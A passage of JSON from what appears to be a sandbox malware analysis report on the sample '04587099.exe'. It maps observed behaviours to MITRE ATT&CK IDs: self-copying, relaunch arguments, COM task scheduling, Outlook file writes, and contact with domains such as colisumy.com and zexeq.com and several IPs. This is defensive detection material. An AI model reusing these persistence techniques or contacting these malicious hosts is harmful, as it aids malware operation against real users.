Settings","description":"$38","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$39","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"04587099.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Attempts to write Outlook-related files (file access)","description":"\"04587099.exe\" writes file \"%USERPROFILE%\\Documents\\Outlook Files\\Outlook.pst\"","origin":"API Call","mitre_attack_id":"T1114.001","relevance":3,"id":"api-158","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Calls an API during runtime","description":"$3a","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-265","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"04587099.exe\" called \"CopyFileW\" to copy C:\\04587099.exe to new location %LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe (UID: 00000000-00006576)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"04587099.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e (UID: 00000000-00006576)\n \"04587099.exe\" called \"CreateDirectoryA\" (UID: 00000000-00006344)\n \"04587099.exe\" called \"CreateDirectoryW\" (UID: 00000000-00006344)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"04587099.exe\" called \"CreateProcessA\" with parameter \"\"C:\\04587099.exe\"\" - (UID: 00000000-00005124)\n \"04587099.exe\" called \"CreateProcessA\" with parameter \"\"C:\\04587099.exe\" --Admin IsNotAutoStart IsNotTask\" - (UID: 00000000-00005616)\n \"04587099.exe\" called \"CreateProcessA\" with parameter \"\"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe\" --Task\" - (UID: 00000000-00004268)\n \"04587099.exe\" called \"CreateProcessA\" with parameter \"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe --Task\" - (UID: 00000000-00004740)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$3b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$3c","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"colisumy.com\"\n \"zexeq.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"162.0.217.254:443\"\n \"93.152.141.65:80\"\n \"211.168.53.110:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains NTDLL native APIs","description":"Found reference to native API (Indicator: \"RtlUnwind\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to native API (Indicator: \"RtlUnwind\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to native API (Indicator: \"RtlUnwind\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to native API (Indicator: \"RtlUnwind\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-604","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObject@KERNEL32.DLL at 00000000-00006344-20777-54-00419F90\n Sleep@KERNEL32.DLL at 00000000-00006344-20777-42-004329C9\n Sleep@KERNEL32.DLL at 00000000-00006344-20777-112-00411A10\n Sleep@KERNEL32.DLL at 00000000-00005728-35490-112-00411A10\n WaitForSingleObject@KERNEL32.DLL at 00000000-00005728-35490-54-00419F90\n Sleep@KERNEL32.DLL at 00000000-00005728-35490-42-004329C9","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: 04587099.exe.bin)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: build2.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00006344-20777-111-00412220\n LoadLibraryExW@KERNEL32.DLL at 00000000-00006344-20777-29-0042A57A\n LoadLibraryW@KERNEL32.DLL at 00000000-00006344-20777-65-00411CD0\n LoadLibraryW@KERNEL32.DLL at 00000000-00005728-35490-65-00411CD0\n LoadLibraryA@KERNEL32.DLL at 00000000-00005728-35490-2813-004C2700\n LoadLibraryA@KERNEL32.DLL at 00000000-00005728-35490-2812-004C28F0\n LoadLibraryExW@KERNEL32.DLL at 00000000-00005728-35490-29-0042A57A\n LoadLibraryW@KERNEL32.DLL at 00000000-00005728-35490-111-00412220","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileWithProgressA\" (Indicator: \"MoveFile\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"MoveFileWithProgressW\" (Indicator: \"MoveFile\"; File: \"build2.exe.1057325739\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains reference to licensed c/c++ library","description":"Found string \"Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.\" (Indicator: \"Copyright (c) 1992-2004 by P.J. Plauger\n licensed by Dinkumware\n Ltd. ALL RIGHTS RESERVED.\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-462","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$41","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Contains the ability to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"SM0:6576:64:WilError_01\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:6576:64:WilError_01\"\n \"Local\\SM0:6576:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"SM0:6344:64:WilError_01\"\n \"{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}\"\n \"Local\\SM0:6344:168:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$42","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$43","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Loaded EXE module from outside of Windows folder","description":"\"04587099.exe\" loaded module \"C:\\04587099.exe\" at 00400000\n \"04587099.exe\" loaded module \"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe\" at 00400000","origin":"Loaded Module","mitre_attack_id":"T1574","relevance":1,"id":"module-13","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Loaded modules","description":"$44","origin":"Loaded Module","mitre_attack_id":"T1574.002","id":"module-11","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$45","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"04587099.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 779A0000\n \"04587099.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72F60000\n \"icacls.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 779A0000\n \"DllHost.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 2BAE0000\n \"DllHost.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 2B480000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"04587099.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75750000\n \"icacls.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75750000\n \"DllHost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2F1A0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$46","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$47","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\" has an executable section named \".text\"\n \"04587099.exe.bin\" has an executable section named \".text\"\n \"build2.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\" has an writable section named \".data\"\n \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\" has an writable section named \".noc\"\n \"04587099.exe.bin\" has an writable section named \".data\"\n \"04587099.exe.bin\" has an writable section named \".noc\"\n \"build2.exe\" has an writable section named \".data\"\n \"build2.exe\" has an writable section named \".lurakag\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$48","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".data\" is \"0x319b90\" greater than 0x100000\n Virtual size of \".data\" is \"0x2b2010\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\dllhost.exe\" [Source: 00000000-00000812-00000BC0-137384929]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$49","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.2ip.ua\"\n \"colisumy.com\"\n \"zexeq.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"04587099.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"04587099.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"04587099.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"04587099.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"icacls.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"04587099.exe.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"build2.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Allocates virtual memory in a self process","description":"\"04587099.exe\" allocated memory in \"C:\\04587099.exe\" with (Protection: \"read/write\")\n \"04587099.exe\" allocated memory in \"C:\\04587099.exe\" with (Protection: \"execute/read/write\")","origin":"API Call","mitre_attack_id":"T1055","relevance":1,"id":"api-262","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameW@ADVAPI32.DLL at 00000000-00006344-20777-54-00419F90\n GetUserNameW@ADVAPI32.DLL at 00000000-00005728-35490-54-00419F90","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to schedule tasks using COM objects","description":"Observed string: \"\\R\\R\\R\\R\\\\REGISTRY\\USER\\S-1-5-21-735145574-3570218355-1207367261-1001_Classes\\WOW6432Node\\CLSID\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\\ProgID\" (Indicator: \"clsid\\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\") in Source: 00000000-00006344.00000000.78848.005C5000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":3,"id":"string-400","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"04587099.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"DllHost.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"\"wpr.config.xml\" has type \"data\" - Location: [C:\\found.000\\dir0002.chk\\amd64_microsoft-windows-coresystem-wpr_31bf3856ad364e35_10.0.17134.1_none_47affa80011bd94e\\wpr.config.xml]\n \"appxblockmap.xml\" has type \"data\" - Location: [C:\\found.000\\dir0002.chk\\amd64_microsoft-windows-a..esolverux.appxsetup_31bf3856ad364e35_10.0.17134.1_none_a11030fd77b5bc84\\appxblockmap.xml]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a Windows setup information (INF) file","description":"$4e","origin":"Binary 